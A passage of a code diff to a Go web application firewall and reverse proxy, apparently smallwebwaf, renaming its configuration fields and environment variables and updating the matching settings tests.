duration, valid := parseMilliseconds(value)
|
||||||
|
if !valid {
|
||||||
|
e.check(name, fmt.Errorf("%q %w", value, errNotMilliseconds))
|
||||||
|
}
|
||||||
|
|
||||||
|
return duration
|
||||||
|
}
|
||||||
|
|
||||||
// parseSize reads a number of bytes with an optional K, M or G suffix, in
|
// parseSize reads a number of bytes with an optional K, M or G suffix, in
|
||||||
// powers of 1024 (1K is 1024 bytes), or off.
|
// powers of 1024 (1K is 1024 bytes), or off.
|
||||||
func parseSize(value string) (int64, error) {
|
func parseSize(value string) (int64, error) {
|
||||||
@@ -198,6 +214,17 @@ func splitUnit(value string) (string, int64) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// parseMilliseconds reads a whole number of milliseconds above zero, and
|
||||||
|
// reports whether it is one.
|
||||||
|
func parseMilliseconds(value string) (time.Duration, bool) {
|
||||||
|
n, err := strconv.ParseInt(value, 10, 64)
|
||||||
|
if err != nil || n <= 0 || n > math.MaxInt64/int64(time.Millisecond) {
|
||||||
|
return 0, false
|
||||||
|
}
|
||||||
|
|
||||||
|
return time.Duration(n) * time.Millisecond, true
|
||||||
|
}
|
||||||
|
|
||||||
// parseList splits a comma-separated list and trims the spaces around
|
// parseList splits a comma-separated list and trims the spaces around
|
||||||
// each item. An empty value is an empty list.
|
// each item. An empty value is an empty list.
|
||||||
func parseList(value string) ([]string, error) {
|
func parseList(value string) ([]string, error) {
|
||||||
|
|||||||
+16
-38
@@ -4,7 +4,6 @@ import (
|
|||||||
"errors"
|
"errors"
|
||||||
"fmt"
|
"fmt"
|
||||||
"log/slog"
|
"log/slog"
|
||||||
"math"
|
|
||||||
"net/netip"
|
"net/netip"
|
||||||
"net/url"
|
"net/url"
|
||||||
"strconv"
|
"strconv"
|
||||||
@@ -25,13 +24,15 @@ type RProxy struct {
|
|||||||
TrustedProxies []netip.Prefix
|
TrustedProxies []netip.Prefix
|
||||||
// WAFBackend is waf's URL (SWW_RPROXY_WAF_BACKEND).
|
// WAFBackend is waf's URL (SWW_RPROXY_WAF_BACKEND).
|
||||||
WAFBackend *url.URL
|
WAFBackend *url.URL
|
||||||
// Timeout is how long rproxy waits for waf's answer to a question,
|
// WAFBackendTimeout is how long rproxy waits for waf's answer to a
|
||||||
// and to a report (SWW_RPROXY_TIMEOUT_MS). It cannot be off.
|
// question, and to a report (SWW_RPROXY_WAF_BACKEND_TIMEOUT_MS). It
|
||||||
Timeout time.Duration
|
// cannot be off.
|
||||||
// DefaultDisposition is what is done with a request when waf cannot be
|
WAFBackendTimeout time.Duration
|
||||||
// connected to, does not answer at all, or does not answer within Timeout:
|
// WAFBackendNoAnswerDisposition is what is done with a request when waf
|
||||||
// allow or deny (SWW_RPROXY_DEFAULT_DISPOSITION).
|
// cannot be connected to, does not answer at all, or does not answer
|
||||||
DefaultDisposition string
|
// within WAFBackendTimeout: allow or deny
|
||||||
|
// (SWW_RPROXY_WAF_BACKEND_NO_ANSWER_DISPOSITION).
|
||||||
|
WAFBackendNoAnswerDisposition string
|
||||||
// MaxRequestSize is the largest request body (SWW_RPROXY_MAX_REQUEST_SIZE), and
|
// MaxRequestSize is the largest request body (SWW_RPROXY_MAX_REQUEST_SIZE), and
|
||||||
// MaxResponseSize the largest response body (SWW_RPROXY_MAX_RESPONSE_SIZE).
|
// MaxResponseSize the largest response body (SWW_RPROXY_MAX_RESPONSE_SIZE).
|
||||||
MaxRequestSize int64
|
MaxRequestSize int64
|
||||||
@@ -62,9 +63,7 @@ var (
|
|||||||
"such as http://127.0.0.1:8081")
|
"such as http://127.0.0.1:8081")
|
||||||
errNeedsWAFBackend = errors.New(
|
errNeedsWAFBackend = errors.New(
|
||||||
"is required: it is waf's URL, such as http://waf:8080")
|
"is required: it is waf's URL, such as http://waf:8080")
|
||||||
errNotDisposition = errors.New("is not allow or deny")
|
errNotDisposition = errors.New("is not allow or deny")
|
||||||
errNotMilliseconds = errors.New(
|
|
||||||
"is not a whole number of milliseconds above zero, such as 2000")
|
|
||||||
errNotMillisecondsOrOff = errors.New(
|
errNotMillisecondsOrOff = errors.New(
|
||||||
"is not a whole number of milliseconds above zero, such as 60000, or off",
|
"is not a whole number of milliseconds above zero, such as 60000, or off",
|
||||||
)
|
)
|
||||||
@@ -89,9 +88,12 @@ func RProxyFromEnvironment(v *viper.Viper) (*RProxy, error) {
|
|||||||
privateRanges,
|
privateRanges,
|
||||||
),
|
),
|
||||||
WAFBackend: env.wafBackend("SWW_RPROXY_WAF_BACKEND"),
|
WAFBackend: env.wafBackend("SWW_RPROXY_WAF_BACKEND"),
|
||||||
Timeout: env.milliseconds("SWW_RPROXY_TIMEOUT_MS", "2000"),
|
WAFBackendTimeout: env.milliseconds(
|
||||||
DefaultDisposition: env.disposition(
|
"SWW_RPROXY_WAF_BACKEND_TIMEOUT_MS",
|
||||||
"SWW_RPROXY_DEFAULT_DISPOSITION",
|
"2000",
|
||||||
|
),
|
||||||
|
WAFBackendNoAnswerDisposition: env.disposition(
|
||||||
|
"SWW_RPROXY_WAF_BACKEND_NO_ANSWER_DISPOSITION",
|
||||||
"allow",
|
"allow",
|
||||||
),
|
),
|
||||||
MaxRequestSize: env.size("SWW_RPROXY_MAX_REQUEST_SIZE", "100M"),
|
MaxRequestSize: env.size("SWW_RPROXY_MAX_REQUEST_SIZE", "100M"),
|
||||||
@@ -173,19 +175,6 @@ func (e *environment) disposition(name, defaultValue string) string {
|
|||||||
return value
|
return value
|
||||||
}
|
}
|
||||||
|
|
||||||
// milliseconds reads a setting that is a whole number of milliseconds above
|
|
||||||
// zero.
|
|
||||||
func (e *environment) milliseconds(name, defaultValue string) time.Duration {
|
|
||||||
value := e.value(name, defaultValue)
|
|
||||||
|
|
||||||
duration, valid := parseMilliseconds(value)
|
|
||||||
if !valid {
|
|
||||||
e.check(name, fmt.Errorf("%q %w", value, errNotMilliseconds))
|
|
||||||
}
|
|
||||||
|
|
||||||
return duration
|
|
||||||
}
|
|
||||||
|
|
||||||
// millisecondsOrOff reads a setting that is a whole number of milliseconds
|
// millisecondsOrOff reads a setting that is a whole number of milliseconds
|
||||||
// above zero, or off, which is 0.
|
// above zero, or off, which is 0.
|
||||||
func (e *environment) millisecondsOrOff(
|
func (e *environment) millisecondsOrOff(
|
||||||
@@ -204,17 +193,6 @@ func (e *environment) millisecondsOrOff(
|
|||||||
return duration
|
return duration
|
||||||
}
|
}
|
||||||
|
|
||||||
// parseMilliseconds reads a whole number of milliseconds above zero, and
|
|
||||||
// reports whether it is one.
|
|
||||||
func parseMilliseconds(value string) (time.Duration, bool) {
|
|
||||||
n, err := strconv.ParseInt(value, 10, 64)
|
|
||||||
if err != nil || n <= 0 || n > math.MaxInt64/int64(time.Millisecond) {
|
|
||||||
return 0, false
|
|
||||||
}
|
|
||||||
|
|
||||||
return time.Duration(n) * time.Millisecond, true
|
|
||||||
}
|
|
||||||
|
|
||||||
// parseUpstreamURL reads the app's URL: http or https, a host and an
|
// parseUpstreamURL reads the app's URL: http or https, a host and an
|
||||||
// optional port from 1 to 65535, and nothing else, since the request's
|
// optional port from 1 to 65535, and nothing else, since the request's
|
||||||
// own path and query go to the app unchanged.
|
// own path and query go to the app unchanged.
|
||||||
|
|||||||
@@ -15,20 +15,20 @@ import (
|
|||||||
|
|
||||||
// rproxy's settings, by name, and their values in these tests.
|
// rproxy's settings, by name, and their values in these tests.
|
||||||
const (
|
const (
|
||||||
wafBackend = "SWW_RPROXY_WAF_BACKEND"
|
wafBackend = "SWW_RPROXY_WAF_BACKEND"
|
||||||
rproxyTimeout = "SWW_RPROXY_TIMEOUT_MS"
|
wafBackendTimeout = "SWW_RPROXY_WAF_BACKEND_TIMEOUT_MS"
|
||||||
rproxyDefault = "SWW_RPROXY_DEFAULT_DISPOSITION"
|
rproxyNoAnswer = "SWW_RPROXY_WAF_BACKEND_NO_ANSWER_DISPOSITION"
|
||||||
rproxyListen = "SWW_RPROXY_LISTEN_ADDR"
|
rproxyListen = "SWW_RPROXY_LISTEN_ADDR"
|
||||||
rproxyUpstream = "SWW_RPROXY_UPSTREAM_URL"
|
rproxyUpstream = "SWW_RPROXY_UPSTREAM_URL"
|
||||||
rproxyTrusted = "SWW_RPROXY_TRUSTED_PROXIES"
|
rproxyTrusted = "SWW_RPROXY_TRUSTED_PROXIES"
|
||||||
rproxyMaxRequest = "SWW_RPROXY_MAX_REQUEST_SIZE"
|
rproxyMaxRequest = "SWW_RPROXY_MAX_REQUEST_SIZE"
|
||||||
rproxyMaxResponse = "SWW_RPROXY_MAX_RESPONSE_SIZE"
|
rproxyMaxResponse = "SWW_RPROXY_MAX_RESPONSE_SIZE"
|
||||||
rproxyRequestTime = "SWW_RPROXY_MAX_REQUEST_TIME_MS"
|
rproxyRequestTime = "SWW_RPROXY_MAX_REQUEST_TIME_MS"
|
||||||
rproxyAnswerTime = "SWW_RPROXY_MAX_RESPONSE_TIME_MS"
|
rproxyAnswerTime = "SWW_RPROXY_MAX_RESPONSE_TIME_MS"
|
||||||
backendURL = "http://waf:8080"
|
backendURL = "http://waf:8080"
|
||||||
rproxyDefaultAddr = ":8080"
|
rproxyNoAnswerAddr = ":8080"
|
||||||
rproxyDefaultApp = "http://127.0.0.1:8081"
|
rproxyNoAnswerApp = "http://127.0.0.1:8081"
|
||||||
notASize = "a lot"
|
notASize = "a lot"
|
||||||
)
|
)
|
||||||
|
|
||||||
// rproxyConfig reads rproxy's settings from env.
|
// rproxyConfig reads rproxy's settings from env.
|
||||||
@@ -44,8 +44,8 @@ func TestRProxyDefaults(t *testing.T) {
|
|||||||
t.Fatalf("settings: %v", err)
|
t.Fatalf("settings: %v", err)
|
||||||
}
|
}
|
||||||
|
|
||||||
if cfg.ListenAddr != rproxyDefaultAddr ||
|
if cfg.ListenAddr != rproxyNoAnswerAddr ||
|
||||||
cfg.UpstreamURL.String() != rproxyDefaultApp ||
|
cfg.UpstreamURL.String() != rproxyNoAnswerApp ||
|
||||||
cfg.WAFBackend.String() != backendURL {
|
cfg.WAFBackend.String() != backendURL {
|
||||||
t.Errorf(
|
t.Errorf(
|
||||||
"addresses %q, %v, %v",
|
"addresses %q, %v, %v",
|
||||||
@@ -55,11 +55,12 @@ func TestRProxyDefaults(t *testing.T) {
|
|||||||
)
|
)
|
||||||
}
|
}
|
||||||
|
|
||||||
if cfg.Timeout != 2*time.Second || cfg.DefaultDisposition != "allow" {
|
if cfg.WAFBackendTimeout != 2*time.Second ||
|
||||||
|
cfg.WAFBackendNoAnswerDisposition != "allow" {
|
||||||
t.Errorf(
|
t.Errorf(
|
||||||
"timeout %v, default disposition %q",
|
"waf backend timeout %v, no-answer disposition %q",
|
||||||
cfg.Timeout,
|
cfg.WAFBackendTimeout,
|
||||||
cfg.DefaultDisposition,
|
cfg.WAFBackendNoAnswerDisposition,
|
||||||
)
|
)
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -90,8 +91,8 @@ func TestRProxySettingsAreRead(t *testing.T) {
|
|||||||
rproxyListen: ":9000",
|
rproxyListen: ":9000",
|
||||||
rproxyUpstream: "http://app:3000",
|
rproxyUpstream: "http://app:3000",
|
||||||
rproxyTrusted: "192.0.2.0/24",
|
rproxyTrusted: "192.0.2.0/24",
|
||||||
rproxyTimeout: "150",
|
wafBackendTimeout: "150",
|
||||||
rproxyDefault: "deny",
|
rproxyNoAnswer: "deny",
|
||||||
rproxyMaxRequest: "1K",
|
rproxyMaxRequest: "1K",
|
||||||
rproxyMaxResponse: off,
|
rproxyMaxResponse: off,
|
||||||
rproxyRequestTime: off,
|
rproxyRequestTime: off,
|
||||||
@@ -107,8 +108,8 @@ func TestRProxySettingsAreRead(t *testing.T) {
|
|||||||
t.Errorf("addresses %+v", cfg)
|
t.Errorf("addresses %+v", cfg)
|
||||||
}
|
}
|
||||||
|
|
||||||
if cfg.Timeout != 150*time.Millisecond ||
|
if cfg.WAFBackendTimeout != 150*time.Millisecond ||
|
||||||
cfg.DefaultDisposition != "deny" ||
|
cfg.WAFBackendNoAnswerDisposition != "deny" ||
|
||||||
cfg.MaxRequestSize != 1024 ||
|
cfg.MaxRequestSize != 1024 ||
|
||||||
cfg.MaxResponseSize != 0 ||
|
cfg.MaxResponseSize != 0 ||
|
||||||
cfg.MaxRequestTime != 0 ||
|
cfg.MaxRequestTime != 0 ||
|
||||||
@@ -126,13 +127,13 @@ func TestRProxyInvalidSettingsAreRefused(t *testing.T) {
|
|||||||
{wafBackend, ""},
|
{wafBackend, ""},
|
||||||
{wafBackend, "waf:8080"},
|
{wafBackend, "waf:8080"},
|
||||||
{wafBackend, "http://waf:8080/path"},
|
{wafBackend, "http://waf:8080/path"},
|
||||||
{rproxyTimeout, "0"},
|
{wafBackendTimeout, "0"},
|
||||||
{rproxyTimeout, "-1"},
|
{wafBackendTimeout, "-1"},
|
||||||
{rproxyTimeout, off},
|
{wafBackendTimeout, off},
|
||||||
{rproxyTimeout, "2s"},
|
{wafBackendTimeout, "2s"},
|
||||||
{rproxyTimeout, "1.25"},
|
{wafBackendTimeout, "1.25"},
|
||||||
{rproxyTimeout, "99999999999999999"},
|
{wafBackendTimeout, "99999999999999999"},
|
||||||
{rproxyDefault, "maybe"},
|
{rproxyNoAnswer, "maybe"},
|
||||||
{rproxyListen, "8080"},
|
{rproxyListen, "8080"},
|
||||||
{rproxyUpstream, "app"},
|
{rproxyUpstream, "app"},
|
||||||
{rproxyUpstream, "127.0.0.1:8081"},
|
{rproxyUpstream, "127.0.0.1:8081"},
|
||||||
@@ -219,11 +220,11 @@ func TestRProxyUnreadableSettingFileStopsTheStart(t *testing.T) {
|
|||||||
|
|
||||||
for _, path := range []string{filepath.Join(dir, "missing"), dir} {
|
for _, path := range []string{filepath.Join(dir, "missing"), dir} {
|
||||||
_, err := rproxyConfig(map[string]string{
|
_, err := rproxyConfig(map[string]string{
|
||||||
wafBackend: backendURL,
|
wafBackend: backendURL,
|
||||||
rproxyTimeout + "_FILE": path,
|
wafBackendTimeout + "_FILE": path,
|
||||||
})
|
})
|
||||||
|
|
||||||
want := rproxyTimeout + "_FILE: cannot be read: "
|
want := wafBackendTimeout + "_FILE: cannot be read: "
|
||||||
if err == nil || !strings.HasPrefix(err.Error(), want) {
|
if err == nil || !strings.HasPrefix(err.Error(), want) {
|
||||||
t.Errorf("%s: error %v, want one starting %s", path, err, want)
|
t.Errorf("%s: error %v, want one starting %s", path, err, want)
|
||||||
}
|
}
|
||||||
@@ -246,7 +247,8 @@ func TestRProxySettingsAreLoggedByName(t *testing.T) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
for _, name := range []string{
|
for _, name := range []string{
|
||||||
rproxyListen, rproxyUpstream, rproxyTrusted, wafBackend, rproxyTimeout, rproxyDefault,
|
rproxyListen, rproxyUpstream, rproxyTrusted, wafBackend, wafBackendTimeout,
|
||||||
|
rproxyNoAnswer,
|
||||||
rproxyMaxRequest, rproxyMaxResponse, rproxyRequestTime, rproxyAnswerTime,
|
rproxyMaxRequest, rproxyMaxResponse, rproxyRequestTime, rproxyAnswerTime,
|
||||||
} {
|
} {
|
||||||
if !slices.Contains(names, name) {
|
if !slices.Contains(names, name) {
|
||||||
|
|||||||
@@ -11,7 +11,7 @@ import (
|
|||||||
func TestTokenSetEmptyInTheEnvironmentStopsTheStart(t *testing.T) {
|
func TestTokenSetEmptyInTheEnvironmentStopsTheStart(t *testing.T) {
|
||||||
t.Setenv(adminToken, "")
|
t.Setenv(adminToken, "")
|
||||||
|
|
||||||
_, err := config.FromEnvironment(config.NewViper())
|
_, err := config.WAFFromEnvironment(config.NewViper())
|
||||||
|
|
||||||
want := adminToken + ": is shorter than 32 characters"
|
want := adminToken + ": is shorter than 32 characters"
|
||||||
if err == nil || err.Error() != want {
|
if err == nil || err.Error() != want {
|
||||||
|
|||||||
+231
-198
@@ -27,9 +27,8 @@ import (
|
|||||||
"sneak.berlin/go/smallwebwaf/internal/remotelog"
|
"sneak.berlin/go/smallwebwaf/internal/remotelog"
|
||||||
)
|
)
|
||||||
|
|
||||||
// Config is the settings of `sww waf`. A time or size limit of
|
// WAF is the settings of `sww waf`. A time or size limit of zero is off.
|
||||||
// zero is off.
|
type WAF struct {
|
||||||
type Config struct {
|
|
||||||
// ListenAddr is where waf listens (SWW_WAF_LISTEN_ADDR).
|
// ListenAddr is where waf listens (SWW_WAF_LISTEN_ADDR).
|
||||||
ListenAddr string
|
ListenAddr string
|
||||||
// InstanceName is the name every log line and alert gives as instance,
|
// InstanceName is the name every log line and alert gives as instance,
|
||||||
@@ -70,25 +69,26 @@ type Config struct {
|
|||||||
// BytesLimitPerMinute, BytesLimitPerHour and BytesLimitPerDay are the
|
// BytesLimitPerMinute, BytesLimitPerHour and BytesLimitPerDay are the
|
||||||
// most bytes a client's requests may carry in a minute, an hour and a
|
// most bytes a client's requests may carry in a minute, an hour and a
|
||||||
// day (SWW_WAF_BYTES_LIMIT_PER_MINUTE, SWW_WAF_BYTES_LIMIT_PER_HOUR and
|
// day (SWW_WAF_BYTES_LIMIT_PER_MINUTE, SWW_WAF_BYTES_LIMIT_PER_HOUR and
|
||||||
// SWW_WAF_BYTES_LIMIT_PER_DAY). BytesCount is which body bytes count
|
// SWW_WAF_BYTES_LIMIT_PER_DAY). BytesCounted is which body bytes count
|
||||||
// toward them (SWW_WAF_BYTES_COUNT): response, request or both.
|
// toward them and the byte anomaly thresholds (SWW_WAF_BYTES_COUNTED):
|
||||||
|
// response, request or both.
|
||||||
BytesLimitPerMinute int64
|
BytesLimitPerMinute int64
|
||||||
BytesLimitPerHour int64
|
BytesLimitPerHour int64
|
||||||
BytesLimitPerDay int64
|
BytesLimitPerDay int64
|
||||||
BytesCount string
|
BytesCounted string
|
||||||
// LookupSource is where each client's AS number and country are
|
// LookupSource is where each client's AS number and country are looked
|
||||||
// looked up (SWW_WAF_LOOKUP_SOURCE): geojs, file, or off for nowhere.
|
// up (SWW_WAF_LOOKUP_SOURCE): geojs, file, or off for nowhere.
|
||||||
// LookupDBPath is the lookup database, the IPinfo Lite file looked up
|
// LookupDBPath is the lookup database, the IPinfo Lite file looked up in
|
||||||
// in while LookupSource is file (SWW_WAF_LOOKUP_DB_PATH), and "" for any
|
// while LookupSource is file (SWW_WAF_LOOKUP_DB_PATH), and "" for any
|
||||||
// other source. A request waits up to LookupTimeout for its client's
|
// other source. A request waits up to ASNAndCountryLookupTimeout for its
|
||||||
// first answer from GeoJS while a setting needs it
|
// client's first answer from GeoJS while a setting needs it
|
||||||
// (SWW_WAF_LOOKUP_TIMEOUT), which cannot be off. AddLookupHeaders is true
|
// (SWW_WAF_ASN_AND_COUNTRY_LOOKUP_TIMEOUT_MS), which cannot be off.
|
||||||
// when the app is passed the client's AS number and country in headers
|
// AddLookupHeaders is true when the app is passed the client's AS number
|
||||||
// (SWW_WAF_ADD_LOOKUP_HEADERS).
|
// and country in headers (SWW_WAF_ADD_LOOKUP_HEADERS).
|
||||||
LookupSource string
|
LookupSource string
|
||||||
LookupDBPath string
|
LookupDBPath string
|
||||||
LookupTimeout time.Duration
|
ASNAndCountryLookupTimeout time.Duration
|
||||||
AddLookupHeaders bool
|
AddLookupHeaders bool
|
||||||
// ExclusivelyAllowedCountries, when not empty, are the only countries
|
// ExclusivelyAllowedCountries, when not empty, are the only countries
|
||||||
// whose clients are let through (SWW_WAF_EXCLUSIVELY_ALLOWED_COUNTRIES),
|
// whose clients are let through (SWW_WAF_EXCLUSIVELY_ALLOWED_COUNTRIES),
|
||||||
// two-letter codes in capitals, as GeoJS gives them.
|
// two-letter codes in capitals, as GeoJS gives them.
|
||||||
@@ -105,21 +105,22 @@ type Config struct {
|
|||||||
// RouteWatchURL is where the routewatch instance is that adds the asn=
|
// RouteWatchURL is where the routewatch instance is that adds the asn=
|
||||||
// and prefix= tags, "" for none (SWW_WAF_ROUTEWATCH_URL).
|
// and prefix= tags, "" for none (SWW_WAF_ROUTEWATCH_URL).
|
||||||
RouteWatchURL string
|
RouteWatchURL string
|
||||||
// The biased thresholds. ASNBytesPercent and CountryBytesPercent give
|
// The biased thresholds. ASNBytesLimitPercent and
|
||||||
// those they list a percentage of the byte limits in place of the one
|
// CountryBytesLimitPercent give those they list a percentage of the byte
|
||||||
// TagLimitPercent gives their asn= or country= tag
|
// limits in place of the one TagLimitPercent gives their asn= or
|
||||||
// (SWW_WAF_ASN_BYTES_PERCENT and SWW_WAF_COUNTRY_BYTES_PERCENT). Each holds
|
// country= tag (SWW_WAF_ASN_BYTES_LIMIT_PERCENT and
|
||||||
// percentages from 0 to 100, by AS number, written as AS64496, or by
|
// SWW_WAF_COUNTRY_BYTES_LIMIT_PERCENT). Each holds percentages from 0 to
|
||||||
// country, a two-letter code in capitals, as the lookup gives them.
|
// 100, by AS number, written as AS64496, or by country, a two-letter
|
||||||
// UnknownLimitPercent is the percentage of every limit a client without
|
// code in capitals, as the lookup gives them. UnknownCountryLimitPercent
|
||||||
// a country gets (SWW_WAF_UNKNOWN_LIMIT_PERCENT). ASNLimitPercentURL is
|
// is the percentage of every limit a client without a country gets
|
||||||
|
// (SWW_WAF_UNKNOWN_COUNTRY_LIMIT_PERCENT). ASNLimitPercentURL is
|
||||||
// where a file of AS:percent lines is fetched from, whose percentages
|
// where a file of AS:percent lines is fetched from, whose percentages
|
||||||
// count like asn= tags in TagLimitPercent (SWW_WAF_ASN_LIMIT_PERCENT_URL),
|
// count like asn= tags in TagLimitPercent (SWW_WAF_ASN_LIMIT_PERCENT_URL),
|
||||||
// "" while it is unset.
|
// "" while it is unset.
|
||||||
ASNBytesPercent map[string]int64
|
ASNBytesLimitPercent map[string]int64
|
||||||
CountryBytesPercent map[string]int64
|
CountryBytesLimitPercent map[string]int64
|
||||||
UnknownLimitPercent int64
|
UnknownCountryLimitPercent int64
|
||||||
ASNLimitPercentURL string
|
ASNLimitPercentURL string
|
||||||
// BlocklistURLs are where the blocklists are fetched from
|
// BlocklistURLs are where the blocklists are fetched from
|
||||||
// (SWW_WAF_BLOCKLIST_URLS). Each list, and ASNLimitPercentURL's, is
|
// (SWW_WAF_BLOCKLIST_URLS). Each list, and ASNLimitPercentURL's, is
|
||||||
// fetched again BlocklistRefresh after it was last fetched or tried
|
// fetched again BlocklistRefresh after it was last fetched or tried
|
||||||
@@ -139,21 +140,23 @@ type Config struct {
|
|||||||
// of AbuseIPDBMinScore or more is a hit (SWW_WAF_ABUSEIPDB_MIN_SCORE), and
|
// of AbuseIPDBMinScore or more is a hit (SWW_WAF_ABUSEIPDB_MIN_SCORE), and
|
||||||
// at most AbuseIPDBDailyBudget checks are made a day
|
// at most AbuseIPDBDailyBudget checks are made a day
|
||||||
// (SWW_WAF_ABUSEIPDB_DAILY_BUDGET).
|
// (SWW_WAF_ABUSEIPDB_DAILY_BUDGET).
|
||||||
// ReputationAction is what is done with a client a zone's verdict lists,
|
// DNSBLAbuseIPDBAction is what is done with a client a zone's verdict
|
||||||
// or whose score is a hit (SWW_WAF_REPUTATION_ACTION): deny, limit or log;
|
// lists, or whose score is a hit (SWW_WAF_DNSBL_ABUSEIPDB_ACTION): deny,
|
||||||
// for limit, ReputationLimitPercent is the percentage of every limit it
|
// limit or log; for limit, DNSBLAbuseIPDBLimitPercent is the percentage
|
||||||
// gets. A verdict or a score is used for ReputationCacheTTL after it was
|
// of every limit it gets. A verdict or a score is used for
|
||||||
// fetched (SWW_WAF_REPUTATION_CACHE_TTL), and a query or a check may take
|
// IPReputationCacheTTL after it was fetched
|
||||||
// ReputationTimeout (SWW_WAF_REPUTATION_TIMEOUT). Neither can be off.
|
// (SWW_WAF_IP_REPUTATION_CACHE_TTL), and a query or a check may take
|
||||||
DNSBLZones []string
|
// DNSBLAbuseIPDBTimeout (SWW_WAF_DNSBL_ABUSEIPDB_TIMEOUT_MS). Neither
|
||||||
DNSBLResolver netip.AddrPort
|
// can be off.
|
||||||
AbuseIPDBKey string
|
DNSBLZones []string
|
||||||
AbuseIPDBMinScore int64
|
DNSBLResolver netip.AddrPort
|
||||||
AbuseIPDBDailyBudget int
|
AbuseIPDBKey string
|
||||||
ReputationAction string
|
AbuseIPDBMinScore int64
|
||||||
ReputationLimitPercent int64
|
AbuseIPDBDailyBudget int
|
||||||
ReputationCacheTTL time.Duration
|
DNSBLAbuseIPDBAction string
|
||||||
ReputationTimeout time.Duration
|
DNSBLAbuseIPDBLimitPercent int64
|
||||||
|
IPReputationCacheTTL time.Duration
|
||||||
|
DNSBLAbuseIPDBTimeout time.Duration
|
||||||
// CrowdSecDecisionsURL is where the decision list of the CrowdSec
|
// CrowdSecDecisionsURL is where the decision list of the CrowdSec
|
||||||
// engine whose local API SWW_WAF_CROWDSEC_LAPI_URL names is fetched from:
|
// engine whose local API SWW_WAF_CROWDSEC_LAPI_URL names is fetched from:
|
||||||
// that URL with v1/decisions added to its path, "" while it is unset and
|
// that URL with v1/decisions added to its path, "" while it is unset and
|
||||||
@@ -171,11 +174,11 @@ type Config struct {
|
|||||||
// (SWW_WAF_LIMIT_BAN_DURATION). A limit broken again within
|
// (SWW_WAF_LIMIT_BAN_DURATION). A limit broken again within
|
||||||
// LimitBanRepeatWindow after the last ban ended bans for three times
|
// LimitBanRepeatWindow after the last ban ended bans for three times
|
||||||
// as long as that ban (SWW_WAF_LIMIT_BAN_REPEAT_WINDOW), and a ban that
|
// as long as that ban (SWW_WAF_LIMIT_BAN_REPEAT_WINDOW), and a ban that
|
||||||
// would be longer than MaxBanDuration is permanent instead
|
// would be longer than LimitBanPermanentAbove is permanent instead
|
||||||
// (SWW_WAF_MAX_BAN_DURATION). None of them can be off.
|
// (SWW_WAF_LIMIT_BAN_PERMANENT_ABOVE). None of them can be off.
|
||||||
LimitBanDuration time.Duration
|
LimitBanDuration time.Duration
|
||||||
LimitBanRepeatWindow time.Duration
|
LimitBanRepeatWindow time.Duration
|
||||||
MaxBanDuration time.Duration
|
LimitBanPermanentAbove time.Duration
|
||||||
// AttackBanDuration is the ban for a first clear sign of attack
|
// AttackBanDuration is the ban for a first clear sign of attack
|
||||||
// (SWW_WAF_ATTACK_BAN_DURATION). It cannot be off.
|
// (SWW_WAF_ATTACK_BAN_DURATION). It cannot be off.
|
||||||
AttackBanDuration time.Duration
|
AttackBanDuration time.Duration
|
||||||
@@ -185,13 +188,13 @@ type Config struct {
|
|||||||
// client that a ban covers (SWW_WAF_BAN_SCOPE_V4_PREFIX).
|
// client that a ban covers (SWW_WAF_BAN_SCOPE_V4_PREFIX).
|
||||||
BanScopeV4Prefix int
|
BanScopeV4Prefix int
|
||||||
// StateDir is the directory of the state files, an absolute path
|
// StateDir is the directory of the state files, an absolute path
|
||||||
// (SWW_WAF_STATE_DIR). bans.json is written StateWriteDelay after a ban
|
// (SWW_WAF_STATE_DIR). bans.json is written BansWriteDelay after a ban
|
||||||
// is made (SWW_WAF_STATE_WRITE_DELAY), and every state and cache file
|
// is made (SWW_WAF_BANS_WRITE_DELAY), and every state and cache file
|
||||||
// every StateCounterInterval (SWW_WAF_STATE_COUNTER_INTERVAL). Neither
|
// every StateWriteInterval (SWW_WAF_STATE_WRITE_INTERVAL). Neither
|
||||||
// can be off.
|
// can be off.
|
||||||
StateDir string
|
StateDir string
|
||||||
StateWriteDelay time.Duration
|
BansWriteDelay time.Duration
|
||||||
StateCounterInterval time.Duration
|
StateWriteInterval time.Duration
|
||||||
// CacheDir is the directory of the cache files, which keep answers
|
// CacheDir is the directory of the cache files, which keep answers
|
||||||
// from outside services, an absolute path (SWW_WAF_CACHE_DIR).
|
// from outside services, an absolute path (SWW_WAF_CACHE_DIR).
|
||||||
CacheDir string
|
CacheDir string
|
||||||
@@ -207,32 +210,38 @@ type Config struct {
|
|||||||
AdminToken string
|
AdminToken string
|
||||||
// MetricsToken is the bearer token a scraper sends for the metrics
|
// MetricsToken is the bearer token a scraper sends for the metrics
|
||||||
// (SWW_WAF_METRICS_TOKEN), "" while it is unset and the metrics are off.
|
// (SWW_WAF_METRICS_TOKEN), "" while it is unset and the metrics are off.
|
||||||
// MetricsTopN is how many AS numbers and how many countries get series
|
// MetricsBusiestCountriesAndASNs is how many AS numbers and how many
|
||||||
// of their own in the metrics (SWW_WAF_METRICS_TOP_N).
|
// countries get series of their own in the metrics
|
||||||
MetricsToken string
|
// (SWW_WAF_METRICS_BUSIEST_COUNTRIES_AND_ASNS).
|
||||||
MetricsTopN int
|
MetricsToken string
|
||||||
// RulesDir is the directory of the rule files (SWW_WAF_RULES_DIR), read
|
MetricsBusiestCountriesAndASNs int
|
||||||
// unless RulesEnabled is false (SWW_WAF_RULES_ENABLED).
|
// RuleFilesDir is the directory of the rule files
|
||||||
RulesDir string
|
// (SWW_WAF_RULE_FILES_DIR), read unless RuleFilesEnabled is false
|
||||||
RulesEnabled bool
|
// (SWW_WAF_RULE_FILES_ENABLED).
|
||||||
// WAFMode is what the Core Rule Set does (SWW_WAF_CORE_RULE_SET_MODE): WAFModeOff,
|
RuleFilesDir string
|
||||||
// WAFModeDetect or WAFModeBlock. WAFParanoiaLevel is its paranoia
|
RuleFilesEnabled bool
|
||||||
// level, from 1 to 4 (SWW_WAF_CORE_RULE_SET_PARANOIA_LEVEL), and
|
// CoreRuleSetMode is what the Core Rule Set does
|
||||||
// WAFAnomalyThreshold the anomaly score at which a request is a match
|
// (SWW_WAF_CORE_RULE_SET_MODE): CoreRuleSetModeOff,
|
||||||
// (SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD), 0 while it is off. WAFDisabledRules
|
// CoreRuleSetModeDetect or CoreRuleSetModeBlock.
|
||||||
// are the ids of its rules switched off (SWW_WAF_CORE_RULE_SET_DISABLED_RULES),
|
// CoreRuleSetParanoiaLevel is its paranoia level, from 1 to 4
|
||||||
